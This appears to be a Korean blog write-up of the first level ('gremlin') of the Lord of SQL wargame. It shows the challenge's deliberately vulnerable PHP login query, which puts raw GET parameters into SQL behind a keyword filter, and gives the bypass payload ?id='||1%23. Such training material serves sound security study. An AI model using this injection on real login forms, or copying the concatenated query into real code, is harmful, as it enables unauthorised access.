query : select id from prob_gremlin where id='' and pw=''

<?php
  
include "./config.php";
  
login_chk();
  
dbconnect();
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  
if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~");
  
$query "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>";
  
$result = @mysql_fetch_array(mysql_query($query));
  if(
$result['id']) solve("gremlin");
  
highlight_file(__FILE__);
?>




if($result['id']) solve("gremlin");

이 부분만 통과하면 문제가 풀립니당



 ?id='||1%23 

payload




'Web > LOS (Lord of SQL)' 카테고리의 다른 글

los(lord of sql) level 6 - darkelf  (0) 2018.08.21
los(lord of sql) level 5 - wolfman  (0) 2018.08.21
los(lord of sql) level 4 - orc  (0) 2018.08.21
los(lord of sql) level 3 - goblin  (0) 2018.08.21
los(lord of sql) level 2 - cobolt  (0) 2018.08.21
los(lord of sql) level 1 - gremlin  (0) 2018.08.21

+ Recent posts